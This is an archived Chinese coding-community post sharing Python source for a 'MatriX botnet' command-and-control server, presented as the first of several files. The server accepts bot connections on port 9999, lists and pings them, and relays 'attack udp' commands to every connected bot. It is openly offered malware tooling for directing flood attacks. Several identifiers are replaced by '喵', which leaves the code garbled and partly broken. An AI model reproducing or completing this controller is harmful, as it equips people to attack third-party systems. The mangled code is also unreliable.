猫史档案馆


【Python作品分享】僵尸网络(文件1)【作品秀】

用户:西顿工业西顿工业查看:0 回复:2 评论:0 创建时间:2023-01-31T13:53:01


【作品展示】

center_image

 

【作品介绍】

一定用cmd运行

运行格式:在cmd中输入:python(空格)(将文件拖到此处,或将文件路径复制到此处)

(图片不管,乱发的)

顺便为工作室大个广告,想加入的点申请就行了!!!

 

【作品源代码】

from threading import Thread
from time import sleep
import ctypes, socket, sys
import platform, signal
from random import choice
from typing import Union, Tuple
from colorama import Fore
import os

if os.name == "nt":
    os.system("@cls & @title MatriX botnet & @color a")
else:
    os.system("clear")
print(f'''
{Fore.MAGENTA}
      `                                                                                       `     
      s.                                                                                     s.     
    y.:m:                                                                                  .hs y.   
   .Nd`oNs`                                                                               /md`oMo   
   -MMy`oMd:                                                                            .yMd.+MMs   
    dMMd./NMy.                                                                        `oNMs.sMMN-   
  ++.yMMN+-yMNy-                                                                    .+mMm:-dMMd::s  
  +Mm+/hMMd/:dMNh/.                                                              `:sNMm+-sNMm+:yNd  
  `hMMmsohNMd//hMMNh+.                                                        `/ymMMd+/yNMdsodNMN:  
   `+dMMNmmMMMmsoymMMNy-              -                      `.             .omMMNhoodNMMmmNMMNs.   
  `.``:ohmMMMMMMNmyshNMNs`            d+`                   :d-            /mMMdysdNMMMMMMNdy/.``.  
  `odhs+/++shmNMMMMNhoyNMh`           +Md+.              `:yNh`           +NMdoymMMMMMmhyo+/+oydy-  
    -sdNNNNNNNMMMMMMMNh+dMs           :ymMNh++syyyyyyyo+ymMNh+`          :MNosNMMMMMMMNNNNNNNmy/`   
   --..-/+oyhNMMMMMMMMMN+hM-.:.       `ohyhdmm喵mMMNdhmNdhyhh-       `-:`dN/dMMMMMMMMMMdys+/:-..-`  
   :hmmmmNNMMNmmMMMMMMMMN/Nh`/hdysoooy//Mm:o::yNmhhdNd+-o+sMh.ysoooshho`+MohMMMMMMMMNdmMMNNmmmmd+`  
    `-/oss+/:+hNMMNdMMMMMh+Ns`-+yh喵dh/sMshm.O`:NMMMo`O sM/MN.h喵dhyo/`:Ny+MMMMMmmMMMdo//+oso+:.    
         `:odMMMmsoNMMMMMh`oNo./syh喵dh-mNydo/+-/MMy-/++hydN++喵喵hy+-:Nh./MMMMMMy+hNMMmy/.         
      ./ydN喵s:-sNMMNMMm.+o+Ny`-/ooooo.+ydhhhhhyssshhhhhdho.+oooo+:`/Ny/y`yMMMNMMh:-+hmNNmh+-      
      `-:::-.`.omMMmodMN:/NMy/喵:./syhho:mmmmmmMMs-MMNmmmmms-hhyy+-.喵o+NMy.dMN+dMMNy:``--::-.      
           `:yNMNms-oMm/oNMNs-/oho-ohyo/-/yyhdNMN++hMMdhyyo-:oyhy:/hs/:/dMMh:hMd-+dNMNh+.           
          .+sso+-`.喵y+dNmy+yNNy./o//ymNNmho+s喵sNMshmy++ydNMNd+:o+.+mNh+odNmoo喵-`./osyo-          
                 -oooydysyhdhs++sdh+. .:oydmNdo:sNNd:+hNNdys/-``:sdh+/oy喵yyyhho+o:                 
                   ..-:/+ooosy喵yo+shyy:/ys//喵my++喵mh+/oyo-yyhyo+shdhyoooo+:-..`                  
                        `....``.:osssso/ .yNdosshNNdssoyNd: -osssso/-``.....`                       
                                           :hNmMmyyhMNNm+`                                          
                                        `.`  /dMMMMMMmo` `..`                                       
                                    `.+s/-+`  `/dMMNo. ` :::so-`                                    
                                   :dms-+h.`+ `../o-`- /- sy-/dmo                                   
                                   /s.:mm..d: s.h+-m.y.`d/`yNo`+y                                   
                                      yN-:Nh +m`NMNM/od`/Mo`hm`                                     
                                      .:.NM-:Mh.MMMMo/Ms`dM+`:                                      
                                         +y`dMs/MMMMh-MN-:h`                                        
                                          ` `y//MMMMy`d:  `                                         
                                              ` :mMo  `                                             
{Fore.RED}                                       `-                                                 
              ▄▄▄▄███▄▄▄▄      ▄████████     ███        ▄████████  ▄█  ▀████    ▐████▀ 
            ▄██▀▀▀███▀▀▀██▄   ███    ███ ▀█████████▄   ███    ███ ███    ███▌   ████▀  
            ███   ███   ███   ███    ███    ▀███▀▀██   ███    ███ ███▌    ███  ▐███    
            ███   ███   ███   ███    ███     ███   ▀  ▄███▄▄▄▄██▀ ███▌    ▀███▄███▀    
            ███   ███   ███ ▀███████████     ███     ▀▀███▀▀▀▀▀   ███▌    ████▀██▄     
            ███   ███   ███   ███    ███     ███     ▀███████████ ███    ▐███  ▀███    
            ███   ███   ███   ███    ███     ███       ███    ███ ███   ▄███     ███▄  
             ▀█   ███   █▀    ███    █▀     ▄████▀     ███    ███ █▀   ████       ███▄ 
                                                       ███    ███                                                                       `-                                                 
''')

 
class Colours:
	def __init__(self): 
		if platform.system() == 'Windows':
			kernel32 = ctypes.windll.kernel32
			kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
		COMMANDS = {
			# Lables
			'info': (33, '[!] '),
			'que': (34, '[?] '),
			'bad': (31, '[-] '),
			'good': (32, '[+] '),
			'run': (97, '[~] '),
			# Colors
			'green': 32,
			'lgreen': 92,
			'lightgreen': 92,
			'grey': 37,
			'black': 30,
			'red': 31,
			'lred': 91,
			'lightred': 91,
			'cyan': 36,
			'lcyan': 96,
			'lightcyan': 96,
			'blue': 34,
			'lblue': 94,
			'lightblue': 94,
			'purple': 35,
			'yellow': 93,
			'white': 97,
			'lpurple': 95,
			'lightpurple': 95,
			'orange': 33,
			# Styles
			'bg': ';7',
			'bold': ';1',
			'italic': '3',
			'under': '4',
			'strike': '09',
		}
		for key, val in COMMANDS.items():
			value = val[0] if isinstance(val, tuple) else val
			prefix = val[1] if isinstance(val, tuple) else ''
			locals()[key] = lambda s, prefix=prefix, key=value: _gen(s, prefix, key)
			self.__dict__[key] = lambda s, prefix=prefix, key=value: self._gen(s, prefix, key)

	def _gen(self,string, prefix, key):
		colored = prefix if prefix else string
		not_colored = string if prefix else ''
		result = '\033[{}m{}\033[0m{}'.format(key, colored, not_colored)
		return result



class Server(Colours):
	co=["green","lgreen","lightgreen","grey","red","lred","lightred","cyan","lcyan","lightcyan","blue","lblue","lightblue","purple","yellow","white","lpurple","lightpurple","orange"]
	
	def __init__(self, connect:Tuple[str,int]=("0.0.0.0",9999)):#连接地址,此处无需设置,意思是在本地开放一个9999端口监听
		super().__init__()
		signal.signal(signal.SIGINT, self.exit_gracefully)
		signal.signal(signal.SIGTERM, self.exit_gracefully)
		self.all_connections = []
		self.all_address = []
		self.stop = False
		if self._bind(connect):
			while True:
				self._take_cmd()

	def exit_gracefully(self,signum:Union[str,object]="", frame:Union[str,object]=""):
		print(f"{Fore.RED}[!] {Fore.MAGENTA}退出控制端...")
		self.stop = True
		self.sock.close()
		sleep(3)
		sys.exit(0)

	def _bind(self, connect:Tuple[str,int]) -> bool:
		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.sock.bind(connect)
		self.sock.listen(50)
		self.sock.settimeout(0.5)
	
		Thread(target=self.collect).start()
		Thread(target=self.check).start()

		return True

	
	def _print_help(self):
		help = ("attack udp    \nOptions:\n"
				"\tping			检查傀儡机是否存活\n"
				"\t喵			停止所有连接\n"
				"\tlist			查看所有连接\n"
				"\tupdate			更新连接列表\n"
				"\texit or quit 	        退出控制端\n")
		print(f"{Fore.GREEN}"+help)
	def collect(self):
		while not self.stop:
			try:
				conn, address = self.sock.accept()
				self.all_connections.append(conn)
				self.all_address.append(address)
			except socket.timeout:
				continue
			except socket.error:
				continue
			except Exception as e:
				print(f"{Fore.RED}[!] {Fore.MAGENTA}连接出错!")

	def _take_cmd(self):
		cmd=input(f"{Fore.RED}-->>").喵()
		if cmd:
			if cmd == "list":
				results = ''
				for i, (ip, port) in enumerate(self.all_address):
					results = results+self.__dict__[choice(self.co)](f'{[i]}    {ip}:{port}    连接\n')
				print(f"{Fore.YELLOW}----Clients----" + "\n" + results)
			elif cmd == "help":
				self._print_help()
			elif cmd == "update":
				self.check(display=True,always=False)
			elif cmd in ["exit","quit"]:
				self.exit_gracefully()
			elif "attack" in cmd:
				for i, (ip, port) in enumerate(self.all_address):
					try:
						self.all_connections[i].send(cmd.encode())
						print(self.__dict__[choice(self.co)](f'[+]    {ip}:{port}    {self.all_connections[i].recv(1024*5).decode("ascii")}'))
					except BrokenPipeError:
						del self.all_address[i]
						del self.all_connections[i]
			elif cmd == "ping" or "喵":
				for i, (ip, port) in enumerate(self.all_address):
					try:
						self.all_connections[i].send(cmd.encode())
						print(self.__dict__[choice(self.co)](f'[+]    {ip}:{port}    {self.all_connections[i].recv(1024*5).decode("ascii")}'))
					except BrokenPipeError:
						del self.all_address[i]
						del self.all_connections[i]


	def check(self, display:bool=False, always:bool=True):
		while not self.stop:
			c=0
			for n,tcp in zip(self.all_address,self.all_connections):
				c+=1
				try:
					tcp.send(str.encode("ping"))
					if tcp.recv(1024).decode("utf-8") and display:
							print(self.__dict__[choice(self.co)](f'[+]    {str(n[0])+":"+str(n[1])}    存活'))
				except:
					if display:
						print(self.__dict__[choice(self.co)](f'[+]    {str(n[0])+":"+str(n[1])}    未存活'))
					del self.all_address[c-1]
					del self.all_connections[c-1]
					continue
			if not always:
				break
			
			sleep(0.5)

if __name__ == '__main__':
	Server()

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 1下一页
西顿工业西顿工业

输入help查询帮助

点赞0


评论


西顿工业西顿工业

下一个文件因为限制十分钟后再发

点赞0


评论